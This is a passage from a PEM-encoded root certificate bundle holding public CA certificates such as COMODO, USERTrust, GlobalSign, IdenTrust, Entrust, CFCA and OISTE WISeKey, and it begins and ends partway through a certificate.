7zBZLq7gcfJW5GqXb5JQbZaNaHqasjYUegbyJLkJEVDXCLG4iXqEI2FCKeWjzaIgQdfRnGTZ6iah
ixTXTBmyUEFxPT9NcCOGDErcgdLMMpSEDQgJlxxPwO5rIHQw0uA5NBCFIRUBCOhVMt5xSdkoF1BN
5r5N0XWs0Mr7QbhDparTwwVETyw2m+L64kW4I1NsBm9nVX9GtUw/bihaeSbSpKhil9Ie4u1Ki7wb
/UdKDd9nZn6yW0HQO+T0O/QEY+nvwlQAUaCKKsnOeMzV6ocEGLPOr0mIr/OSmbaz5mEP0oUA51Aa
5BuVnRmhuZyxm7EAHu/QD09CbMkKvO5D+jpxpchNJqU1/YldvIViHTLSoCtU7ZpXwdv6EM8Zt4tK
G48BtieVU+i2iW1bvGjUI+iLUaJW+fCmgKDWHrO8Dw9TdSmq6hN35N6MgSGtBxBHEa2HPQfRdbzP
82Z+
-----END CERTIFICATE-----

COMODO RSA Certification Authority
==================================
-----BEGIN CERTIFICATE-----
MIIF2DCCA8CgAwIBAgIQTKr5yttjb+Af907YWwOGnTANBgkqhkiG9w0BAQwFADCBhTELMAkGA1UE
BhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgG
A1UEChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkwHhcNMTAwMTE5MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMC
R0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UE
ChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlvbiBB
dXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCR6FSS0gpWsawNJN3Fz0Rn
dJkrN6N9I3AAcbxT38T6KhKPS38QVr2fcHK3YX/JSw8Xpz3jsARh7v8Rl8f0hj4K+j5c+ZPmNHrZ
FGvnnLOFoIJ6dq9xkNfs/Q36nGz637CC9BR++b7Epi9Pf5l/tfxnQ3K9DADWietrLNPtj5gcFKt+
5eNu/Nio5JIk2kNrYrhV/erBvGy2i/MOjZrkm2xpmfh4SDBF1a3hDTxFYPwyllEnvGfDyi62a+pG
x8cgoLEfZd5ICLqkTqnyg0Y3hOvozIFIQ2dOciqbXL1MGyiKXCJ7tKuY2e7gUYPDCUZObT6Z+pUX
2nwzV0E8jVHtC7ZcryxjGt9XyD+86V3Em69FmeKjWiS0uqlWPc9vqv9JWL7wqP/0uK3pN/u6uPQL
OvnoQ0IeidiEyxPx2bvhiWC4jChWrBQdnArncevPDt09qZahSL0896+1DSJMwBGB7FY79tOi4lu3
sgQiUpWAk2nojkxl8ZEDLXB0AuqLZxUpaVICu9ffUGpVRr+goyhhf3DQw6KqLCGqR84onAZFdr+C
GCe01a60y1Dma/RMhnEw6abfFobg2P9A3fvQQoh/ozM6LlweQRGBY84YcWsr7KaKtzFcOmpH4MN5
WdYgGq/yapiqcrxXStJLnbsQ/LBMQeXtHT1eKJ2czL+zUdqnR+WEUwIDAQABo0IwQDAdBgNVHQ4E
FgQUu69+Aj36pvE8hI6t7jiY7NkyMtQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8w
DQYJKoZIhvcNAQEMBQADggIBAArx1UaEt65Ru2yyTUEUAJNMnMvlwFTPoCWOAvn9sKIN9SCYPBMt
rFaisNZ+EZLpLrqeLppysb0ZRGxhNaKatBYSaVqM4dc+pBroLwP0rmEdEBsqpIt6xf4FpuHA1sj+
nq6PK7o9mfjYcwlYRm6mnPTXJ9OV2jeDchzTc+CiR5kDOF3VSXkAKRzH7JsgHAckaVd4sjn8OoSg
tZx8jb8uk2IntznaFxiuvTwJaP+EmzzV1gsD41eeFPfR60/IvYcjt7ZJQ3mFXLrrkguhxuhoqEwW
sRqZCuhTLJK7oQkYdQxlqHvLI7cawiiFwxv/0Cti76R7CZGYZ4wUAc1oBmpjIXUDgIiKboHGhfKp
pC3n9KUkEEeDys30jXlYsQab5xoq2Z0B15R97QNKyvDb6KkBPvVWmckejkk9u+UJueBPSZI9FoJA
zMxZxuY67RIuaTxslbH9qh17f4a+Hg4yRvv7E491f0yLS0Zj/gA0QHDBw7mh3aZw4gSzQbzpgJHq
ZJx64SIDqZxubw5lT2yHh17zbqD5daWbQOhTsiedSrnAdyGN/4fy3ryM7xfft0kL0fJuMAsaDk52
7RH89elWsn2/x20Kk4yl0MC2Hb46TpSi125sC8KKfPog88Tk5c0NqMuRkrF8hey1FGlmDoLnzc7I
LaZRfyHBNVOFBkpdn627G190
-----END CERTIFICATE-----

USERTrust RSA Certification Authority
=====================================
-----BEGIN CERTIFICATE-----
MIIF3jCCA8agAwIBAgIQAf1tMPyjylGoG7xkDjUDLTANBgkqhkiG9w0BAQwFADCBiDELMAkGA1UE
BhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQK
ExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBSU0EgQ2VydGlmaWNh
dGlvbiBBdXRob3JpdHkwHhcNMTAwMjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UE
BhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQK
ExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBSU0EgQ2VydGlmaWNh
dGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCAEmUXNg7D2wiz
0KxXDXbtzSfTTK1Qg2HiqiBNCS1kCdzOiZ/MPans9s/B3PHTsdZ7NygRK0faOca8Ohm0X6a9fZ2j
Y0K2dvKpOyuR+OJv0OwWIJAJPuLodMkYtJHUYmTbf6MG8YgYapAiPLz+E/CHFHv25B+O1ORRxhFn
RghRy4YUVD+8M/5+bJz/Fp0YvVGONaanZshyZ9shZrHUm3gDwFA66Mzw3LyeTP6vBZY1H1dat//O
+T23LLb2VN3I5xI6Ta5MirdcmrS3ID3KfyI0rn47aGYBROcBTkZTmzNg95S+UzeQc0PzMsNT79uq
/nROacdrjGCT3sTHDN/hMq7MkztReJVni+49Vv4M0GkPGw/zJSZrM233bkf6c0Plfg6lZrEpfDKE
Y1WJxA3Bk1QwGROs0303p+tdOmw1XNtB1xLaqUkL39iAigmTYo61Zs8liM2EuLE/pDkP2QKe6xJM
lXzzawWpXhaDzLhn4ugTncxbgtNMs+1b/97lc6wjOy0AvzVVdAlJ2ElYGn+SNuZRkg7zJn0cTRe8
yexDJtC/QV9AqURE9JnnV4eeUB9XVKg+/XRjL7FQZQnmWEIuQxpMtPAlR1n6BB6T1CZGSlCBst6+
eLf8ZxXhyVeEHg9j1uliutZfVS7qXMYoCAQlObgOK6nyTJccBz8NUvXt7y+CDwIDAQABo0IwQDAd
BgNVHQ4EFgQUU3m/WqorSs9UgOHYm8Cd8rIDZsswDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQF
MAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAFzUfA3P9wF9QZllDHPFUp/L+M+ZBn8b2kMVn54CVVeW
FPFSPCeHlCjtHzoBN6J2/FNQwISbxmtOuowhT6KOVWKR82kV2LyI48SqC/3vqOlLVSoGIG1VeCkZ
7l8wXEskEVX/JJpuXior7gtNn3/3ATiUFJVDBwn7YKnuHKsSjKCaXqeYalltiz8I+8jRRa8YFWSQ
Eg9zKC7F4iRO/Fjs8PRF/iKz6y+O0tlFYQXBl2+odnKPi4w2r78NBc5xjeambx9spnFixdjQg3IM
8WcRiQycE0xyNN+81XHfqnHd4blsjDwSXWXavVcStkNr/+XeTWYRUc+ZruwXtuhxkYzeSf7dNXGi
FSeUHM9h4ya7b6NnJSFd5t0dCy5oGzuCr+yDZ4XUmFF0sbmZgIn/f3gZXHlKYC6SQK5MNyosycdi
yA5d9zZbyuAlJQG03RoHnHcAP9Dc1ew91Pq7P8yF1m9/qS3fuQL39ZeatTXaw2ewh0qpKJ4jjv9c
J2vhsE/zB+4ALtRZh8tSQZXq9EfX7mRBVXyNWQKV3WKdwrnuWih0hKWbt5DHDAff9Yk2dDLWKMGw
sAvgnEzDHNb842m1R0aBL6KCq9NjRHDEjf8tM7qtj3u1cIiuPhnPQCjY/MiQu12ZIvVS5ljFH4gx
Q+6IHdfGjjxDah2nGN59PRbxYvnKkKj9
-----END CERTIFICATE-----

USERTrust ECC Certification Authority
=====================================
-----BEGIN CERTIFICATE-----
MIICjzCCAhWgAwIBAgIQXIuZxVqUxdJxVt7NiYDMJjAKBggqhkjOPQQDAzCBiDELMAkGA1UEBhMC
VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU
aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkwHhcNMTAwMjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMC
VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU
aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQarFRaqfloI+d61SRvU8Za2EurxtW2
0eZzca7dnNYMYf3boIkDuAUU7FfO7l0/4iGzzvfUinngo4N+LZfQYcTxmdwlkWOrfzCjtHDix6Ez
nPO/LlxTsV+zfTJ/ijTjeXmjQjBAMB0GA1UdDgQWBBQ64QmG1M8ZwpZ2dEl23OA1xmNjmjAOBgNV
HQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjA2Z6EWCNzklwBB
HU6+4WMBzzuqQhFkoJ2UOQIReVx7Hfpkue4WQrO/isIJxOzksU0CMQDpKmFHjFJKS04YcPbWRNZu
9YO6bVi9JNlWSOrvxKJGgYhqOkbRqZtNyWHa0V1Xahg=
-----END CERTIFICATE-----

GlobalSign ECC Root CA - R5
===========================
-----BEGIN CERTIFICATE-----
MIICHjCCAaSgAwIBAgIRYFlJ4CYuu1X5CneKcflK2GwwCgYIKoZIzj0EAwMwUDEkMCIGA1UECxMb
R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD
EwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoXDTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMb
R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD
EwpHbG9iYWxTaWduMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAER0UOlvt9Xb/pOdEh+J8LttV7HpI6
SFkc8GIxLcB6KP4ap1yztsyX50XUWPrRd21DosCHZTQKH3rd6zwzocWdTaRvQZU4f8kehOvRnkmS
h5SHDDqFSmafnVmTTZdhBoZKo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAd
BgNVHQ4EFgQUPeYpSJvqB8ohREom3m7e0oPQn1kwCgYIKoZIzj0EAwMDaAAwZQIxAOVpEslu28Yx
uglB4Zf4+/2a4n0Sye18ZNPLBSWLVtmg515dTguDnFt2KaAJJiFqYgIwcdK1j1zqO+F4CYWodZI7
yFz9SO8NdCKoCOJuxUnOxwy8p2Fp8fc74SrL+SvzZpA3
-----END CERTIFICATE-----

IdenTrust Commercial Root CA 1
==============================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIQCgFCgAAAAUUjyES1AAAAAjANBgkqhkiG9w0BAQsFADBKMQswCQYDVQQG
EwJVUzESMBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBS
b290IENBIDEwHhcNMTQwMTE2MTgxMjIzWhcNMzQwMTE2MTgxMjIzWjBKMQswCQYDVQQGEwJVUzES
MBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBSb290IENB
IDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnUBneP5k91DNG8W9RYYKyqU+PZ4ld
hNlT3Qwo2dfw/66VQ3KZ+bVdfIrBQuExUHTRgQ18zZshq0PirK1ehm7zCYofWjK9ouuU+ehcCuz/
mNKvcbO0U59Oh++SvL3sTzIwiEsXXlfEU8L2ApeN2WIrvyQfYo3fw7gpS0l4PJNgiCL8mdo2yMKi
1CxUAGc1bnO/AljwpN3lsKImesrgNqUZFvX9t++uP0D1bVoE/c40yiTcdCMbXTMTEl3EASX2MN0C
XZ/g1Ue9tOsbobtJSdifWwLziuQkkORiT0/Br4sOdBeo0XKIanoBScy0RnnGF7HamB4HWfp1IYVl
3ZBWzvurpWCdxJ35UrCLvYf5jysjCiN2O/cz4ckA82n5S6LgTrx+kzmEB/dEcH7+B1rlsazRGMzy
NeVJSQjKVsk9+w8YfYs7wRPCTY/JTw436R+hDmrfYi7LNQZReSzIJTj0+kuniVyc0uMNOYZKdHzV
WYfCP04MXFL0PfdSgvHqo6z9STQaKPNBiDoT7uje/5kdX7rL6B7yuVBgwDHTc+XvvqDtMwt0viAg
xGds8AgDelWAf0ZOlqf0Hj7h9tgJ4TNkK2PXMl6f+cB7D3hvl7yTmvmcEpB4eoCHFddydJxVdHix
uuFucAS6T6C6aMN7/zHwcz09lCqxC0EOoP5NiGVreTO01wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMC
AQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU7UQZwNPwBovupHu+QucmVMiONnYwDQYJKoZI
hvcNAQELBQADggIBAA2ukDL2pkt8RHYZYR4nKM1eVO8lvOMIkPkp165oCOGUAFjvLi5+U1KMtlwH
6oi6mYtQlNeCgN9hCQCTrQ0U5s7B8jeUeLBfnLOic7iPBZM4zY0+sLj7wM+x8uwtLRvM7Kqas6pg
ghstO8OEPVeKlh6cdbjTMM1gCIOQ045U8U1mwF10A0Cj7oV+wh93nAbowacYXVKV7cndJZ5t+qnt
ozo00Fl72u1Q8zW/7esUTTHHYPTa8Yec4kjixsU3+wYQ+nVZZjFHKdp2mhzpgq7vmrlR94gjmmmV
YjzlVYA211QC//G5Xc7UI2/YRYRKW2XviQzdFKcgyxilJbQN+QHwotL0AMh0jqEqSI5l2xPE4iUX
feu+h1sXIFRRk0pTAwvsXcoz7WL9RccvW9xYoIA55vrX/hMUpu09lEpCdNTDd1lzzY9GvlU47/ro
kTLql1gEIt44w8y8bckzOmoKaT+gyOpyj4xjhiO9bTyWnpXgSUyqorkqG5w2gXjtw+hG4iZZRHUe
2XWJUc0QhJ1hYMtd+ZciTY6Y5uN/9lu7rs3KSoFrXgvzUeF0K+l+J6fZmUlO+KWA2yUPHGNiiskz
Z2s8EIPGrd6ozRaOjfAHN3Gf8qv8QfXBi+wAN10J5U6A7/qxXDgGpRtK4dw4LTzcqx+QGtVKnO7R
cGzM7vRX+Bi6hG6H
-----END CERTIFICATE-----

IdenTrust Public Sector Root CA 1
=================================
-----BEGIN CERTIFICATE-----
MIIFZjCCA06gAwIBAgIQCgFCgAAAAUUjz0Z8AAAAAjANBgkqhkiG9w0BAQsFADBNMQswCQYDVQQG
EwJVUzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3Rv
ciBSb290IENBIDEwHhcNMTQwMTE2MTc1MzMyWhcNMzQwMTE2MTc1MzMyWjBNMQswCQYDVQQGEwJV
UzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3RvciBS
b290IENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2IpT8pEiv6EdrCvsnduTy
P4o7ekosMSqMjbCpwzFrqHd2hCa2rIFCDQjrVVi7evi8ZX3yoG2LqEfpYnYeEe4IFNGyRBb06tD6
Hi9e28tzQa68ALBKK0CyrOE7S8ItneShm+waOh7wCLPQ5CQ1B5+ctMlSbdsHyo+1W/CD80/HLaXI
rcuVIKQxKFdYWuSNG5qrng0M8gozOSI5Cpcu81N3uURF/YTLNiCBWS2ab21ISGHKTN9T0a9SvESf
qy9rg3LvdYDaBjMbXcjaY8ZNzaxmMc3R3j6HEDbhuaR672BQssvKplbgN6+rNBM5Jeg5ZuSYeqoS
mJxZZoY+rfGwyj4GD3vwEUs3oERte8uojHH01bWRNszwFcYr3lEXsZdMUD2xlVl8BX0tIdUAvwFn
ol57plzy9yLxkA2T26pEUWbMfXYD62qoKjgZl3YNa4ph+bz27nb9cCvdKTz4Ch5bQhyLVi9VGxyh
LrXHFub4qjySjmm2AcG1hp2JDws4lFTo6tyePSW8Uybt1as5qsVATFSrsrTZ2fjXctscvG29ZV/v
iDUqZi/u9rNl8DONfJhBaUYPQxxp+pu10GFqzcpL2UyQRqsVWaFHVCkugyhfHMKiq3IXAAaOReyL
4jM9f9oZRORicsPfIsbyVtTdX5Vy7W1f90gDW/3FKqD2cyOEEBsB5wIDAQABo0IwQDAOBgNVHQ8B
Af8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU43HgntinQtnbcZFrlJPrw6PRFKMw
DQYJKoZIhvcNAQELBQADggIBAEf63QqwEZE4rU1d9+UOl1QZgkiHVIyqZJnYWv6IAcVYpZmxI1Qj
t2odIFflAWJBF9MJ23XLblSQdf4an4EKwt3X9wnQW3IV5B4Jaj0z8yGa5hV+rVHVDRDtfULAj+7A
mgjVQdZcDiFpboBhDhXAuM/FSRJSzL46zNQuOAXeNf0fb7iAaJg9TaDKQGXSc3z1i9kKlT/YPyNt
GtEqJBnZhbMX73huqVjRI9PHE+1yJX9dsXNw0H8GlwmEKYBhHfpe/3OsoOOJuBxxFcbeMX8S3OFt
m6/n6J91eEyrRjuazr8FGF1NFTwWmhlQBJqymm9li1JfPFgEKCXAZmExfrngdbkaqIHWchezxQMx
NRF4eKLg6TCMf4DfWN88uieW4oA0beOY02QnrEh+KHdcxiVhJfiFDGX6xDIvpZgF5PgLZxYWxoK4
Mhn5+bl53B/N66+rDt0b20XkeucC4pVd/GnwU2lhlXV5C15V5jgclKlZM57IcXR5f1GJtshquDDI
ajjDbp7hNxbqBWJMWxJH7ae0s1hWx0nzfxJoCTFx8G34Tkf71oXuxVhAGaQdp/lLQzfcaFpPz+vC
ZHTetBXZ9FRUGi8c15dxVJCO2SCdUyt/q4/i6jC8UDfv8Ue1fXwsBOxonbRJRBD0ckscZOf85muQ
3Wl9af0AVqW3rLatt8o+Ae+c
-----END CERTIFICATE-----

Entrust Root Certification Authority - G2
=========================================
-----BEGIN CERTIFICATE-----
MIIEPjCCAyagAwIBAgIESlOMKDANBgkqhkiG9w0BAQsFADCBvjELMAkGA1UEBhMCVVMxFjAUBgNV
BAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVy
bXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ug
b25seTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIw
HhcNMDkwNzA3MTcyNTU0WhcNMzAxMjA3MTc1NTU0WjCBvjELMAkGA1UEBhMCVVMxFjAUBgNVBAoT
DUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMx
OTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25s
eTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIwggEi
MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6hLZy254Ma+KZ6TABp3bqMriVQRrJ2mFOWHLP
/vaCeb9zYQYKpSfYs1/TRU4cctZOMvJyig/3gxnQaoCAAEUesMfnmr8SVycco2gvCoe9amsOXmXz
HHfV1IWNcCG0szLni6LVhjkCsbjSR87kyUnEO6fe+1R9V77w6G7CebI6C1XiUJgWMhNcL3hWwcKU
s/Ja5CeanyTXxuzQmyWC48zCxEXFjJd6BmsqEZ+pCm5IO2/b1BEZQvePB7/1U1+cPvQXLOZprE4y
TGJ36rfo5bs0vBmLrpxR57d+tVOxMyLlbc9wPBr64ptntoP0jaWvYkxN4FisZDQSA/i2jZRjJKRx
AgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqciZ6
0B7vfec7aVHUbI2fkBJmqzANBgkqhkiG9w0BAQsFAAOCAQEAeZ8dlsa2eT8ijYfThwMEYGprmi5Z
iXMRrEPR9RP/jTkrwPK9T3CMqS/qF8QLVJ7UG5aYMzyorWKiAHarWWluBh1+xLlEjZivEtRh2woZ
Rkfz6/djwUAFQKXSt/S1mja/qYh2iARVBCuch38aNzx+LaUa2NSJXsq9rD1s2G2v1fN2D807iDgi
nWyTmsQ9v4IbZT+mD12q/OWyFcq1rca8PdCE6OoGcrBNOTJ4vz4RnAuknZoh8/CbCzB428Hch0P+
vGOaysXCHMnHjf87ElgI5rY97HosTvuDls4MPGmHVHOkc8KT/1EQrBVUAdj8BbGJoX90g5pJ19xO
e4pIb4tF9g==
-----END CERTIFICATE-----

Entrust Root Certification Authority - EC1
==========================================
-----BEGIN CERTIFICATE-----
MIIC+TCCAoCgAwIBAgINAKaLeSkAAAAAUNCR+TAKBggqhkjOPQQDAzCBvzELMAkGA1UEBhMCVVMx
FjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVn
YWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDEyIEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXpl
ZCB1c2Ugb25seTEzMDEGA1UEAxMqRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5
IC0gRUMxMB4XDTEyMTIxODE1MjUzNloXDTM3MTIxODE1NTUzNlowgb8xCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0L2xlZ2Fs
LXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxMiBFbnRydXN0LCBJbmMuIC0gZm9yIGF1dGhvcml6ZWQg
dXNlIG9ubHkxMzAxBgNVBAMTKkVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAt
IEVDMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABIQTydC6bUF74mzQ61VfZgIaJPRbiWlH47jCffHy
AsWfoPZb1YsGGYZPUxBtByQnoaD41UcZYUx9ypMn6nQM72+WCf5j7HBdNq1nd67JnXxVRDqiY1Ef
9eNi1KlHBz7MIKNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE
FLdj5xrdjekIplWDpOBqUEFlEUJJMAoGCCqGSM49BAMDA2cAMGQCMGF52OVCR98crlOZF7ZvHH3h
vxGU0QOIdeSNiaSKd0bebWHvAvX7td/M/k7//qnmpwIwW5nXhTcGtXsI/esni0qU+eH6p44mCOh8
kmhtc9hvJqwhAriZtyZBWyVgrtBIGu4G
-----END CERTIFICATE-----

CFCA EV ROOT
============
-----BEGIN CERTIFICATE-----
MIIFjTCCA3WgAwIBAgIEGErM1jANBgkqhkiG9w0BAQsFADBWMQswCQYDVQQGEwJDTjEwMC4GA1UE
CgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQDDAxDRkNB
IEVWIFJPT1QwHhcNMTIwODA4MDMwNzAxWhcNMjkxMjMxMDMwNzAxWjBWMQswCQYDVQQGEwJDTjEw
MC4GA1UECgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQD
DAxDRkNBIEVWIFJPT1QwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDXXWvNED8fBVnV
BU03sQ7smCuOFR36k0sXgiFxEFLXUWRwFsJVaU2OFW2fvwwbwuCjZ9YMrM8irq93VCpLTIpTUnrD
7i7es3ElweldPe6hL6P3KjzJIx1qqx2hp/Hz7KDVRM8Vz3IvHWOX6Jn5/ZOkVIBMUtRSqy5J35DN
uF++P96hyk0g1CXohClTt7GIH//62pCfCqktQT+x8Rgp7hZZLDRJGqgG16iI0gNyejLi6mhNbiyW
ZXvKWfry4t3uMCz7zEasxGPrb382KzRzEpR/38wmnvFyXVBlWY9ps4deMm/DGIq1lY+wejfeWkU7
xzbh72fROdOXW3NiGUgthxwG+3SYIElz8AXSG7Ggo7cbcNOIabla1jj0Ytwli3i/+Oh+uFzJlU9f
py25IGvPa931DfSCt/SyZi4QKPaXWnuWFo8BGS1sbn85WAZkgwGDg8NNkt0yxoekN+kWzqotaK8K
gWU6cMGbrU1tVMoqLUuFG7OA5nBFDWteNfB/O7ic5ARwiRIlk9oKmSJgamNgTnYGmE69g60dWIol
hdLHZR4tjsbftsbhf4oEIRUpdPA+nJCdDC7xij5aqgwJHsfVPKPtl8MeNPo4+QgO48BdK4PRVmrJ
tqhUUy54Mmc9gn900PvhtgVguXDbjgv5E1hvcWAQUhC5wUEJ73IfZzF4/5YFjQIDAQABo2MwYTAf
BgNVHSMEGDAWgBTj/i39KNALtbq2osS/BqoFjJP7LzAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB
/wQEAwIBBjAdBgNVHQ4EFgQU4/4t/SjQC7W6tqLEvwaqBYyT+y8wDQYJKoZIhvcNAQELBQADggIB
ACXGumvrh8vegjmWPfBEp2uEcwPenStPuiB/vHiyz5ewG5zz13ku9Ui20vsXiObTej/tUxPQ4i9q
ecsAIyjmHjdXNYmEwnZPNDatZ8POQQaIxffu2Bq41gt/UP+TqhdLjOztUmCypAbqTuv0axn96/Ua
4CUqmtzHQTb3yHQFhDmVOdYLO6Qn+gjYXB74BGBSESgoA//vU2YApUo0FmZ8/Qmkrp5nGm9BC2sG
E5uPhnEFtC+NiWYzKXZUmhH4J/qyP5Hgzg0b8zAarb8iXRvTvyUFTeGSGn+ZnzxEk8rUQElsgIfX
BDrDMlI1Dlb4pd19xIsNER9Tyx6yF7Zod1rg1MvIB671Oi6ON7fQAUtDKXeMOZePglr4UeWJoBjn
aH9dCi77o0cOPaYjesYBx4/IXr9tgFa+iiS6M+qf4TIRnvHST4D2G0CvOJ4RUHlzEhLN5mydLIhy
PDCBBpEi6lmt2hkuIsKNuYyH4Ga8cyNfIWRjgEj1oDwYPZTISEEdQLpe/v5WOaHIz16eGWRGENoX
kbcFgKyLmZJ956LYBws2J+dIeWCKw9cTXPhyQN9Ky8+ZAAoACxGV2lZFA4gKn2fQ1XmxqI1AbQ3C
ekD6819kR5LLU7m7Wc5P/dAVUwHY3+vZ5nbv0CO7O6l5s9UCKc2Jo5YPSjXnTkLAdc0Hz+Ys63su
-----END CERTIFICATE-----

OISTE WISeKey Global Root GB CA
===============================
-----BEGIN CERTIFICATE-----
MIIDtTCCAp2gAwIBAgIQdrEgUnTwhYdGs/gjGvbCwDANBgkqhkiG9w0BAQsFADBtMQswCQYDVQQG
EwJDSDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNl
ZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwgUm9vdCBHQiBDQTAeFw0xNDEyMDExNTAw
MzJaFw0zOTEyMDExNTEwMzFaMG0xCzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYD
VQQLExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEds
b2JhbCBSb290IEdCIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2Be3HEokKtaX
scriHvt9OO+Y9bI5mE4nuBFde9IllIiCFSZqGzG7qFshISvYD06fWvGxWuR51jIjK+FTzJlFXHtP
rby/h0oLS5daqPZI7H17Dc0hBt+eFf1Biki3IPShehtX1F1Q/7pn2COZH8g/497/b1t3sWtuuMlk
9+HKQUYOKXHQuSP8yYFfTvdv37+ErXNku7dCjmn21HYdfp2nuFeKUWdy19SouJVUQHMD9ur06/4o
